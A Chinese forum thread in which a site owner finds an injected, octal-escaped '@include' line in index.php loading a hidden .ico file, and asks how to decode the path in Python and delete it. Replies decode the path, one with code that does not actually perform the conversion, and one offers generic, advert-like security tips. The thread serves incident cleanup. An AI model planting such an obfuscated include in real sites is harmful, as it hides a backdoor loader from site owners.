网站被入侵了，php脚本添加了一段代码

Question

/home/wwwroot/index.php被添加如下代码

<?php
@include "\057home\057wwwr\157ot/b\150obo2\06345.c\157m/e/\151nsta\154l/.9\066ceb7\1423.ic\157";

请问这个路径怎么转换成正常路径，功力不够写不出代码，请教各位大神了。

需求：用python匹配出来被转义过的路径，并删除这个文件

我自己写的：

# encoding=utf-8
import re
import os
import shutil
import sys
import getopt

reg = re.compile(r'@include[\s\S]+"(.*?)";', re.DOTALL)

with open('/home/wwwroot/index.php','rb') as f:
    con = f.read()
    r_in = reg.search(con)
    include_file = r_in.groups()[0]
    print include_file
    #转义成正常路径,这里不知道怎么写了
    true_path = ''
    os.remove(true_path )

Answer 1

正确路径应该是:

/home/wwwroot/bhobo2345.com/e/install/.96ceb7b3.ico

Python代码:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import re
str = "\057home\057wwwr\157ot/b\150obo2\06345.c\157m/e/\151nsta\154l/.9\066ceb7\1423.ic\157"
print(str)
print(re.search(r"\057|\/",str))

不知道对是否在你的情况中是否正确,你试试吧

Answer 2

使用了8进制表示其中的字符，和二进制是等价的，如下图浏览器中的截图

Answer 3

　　检测是否被入侵：
　　1、使用IIS7网站监控工具，进入到IIS7站长之家官网，在首页点击右上角“网站监控”，
　　2、进入IIS7网站监控工具页面，输入你需要检测的网站域名，点击“提交检测”，
　　3、查看检测结果，我们可以看到网站是否被劫持、域名是否被墙、DNS污染检测、网站打开速度检测、网站是否被黑、被入侵、被改标题、被挂黑等信息。
　　4、查看检测出来的每一项是否符合自己的网站，是否正常。
　　防止入侵：
　　1、 选择安全可靠的网络服务商
　　2、 选择技术精湛的建站公司
　　3、 数据库加密
　　纵观互联网，90%以上的网站都使用了动态网站开发技术，如ASP，PHP，JSP等等，大大提高了网站的可维护性、可操作性，但是由于动态网站开发技术需要特定的程序处理，而网络程序员往在编写这些程序的时候留下了一些漏洞，而网站建设最后一步“整站测试”又没有检查出来，因此给黑客们提供了可乘之机。
　　4、 管理密码加密及管理帐户保密
　　5、 防止代码注入攻击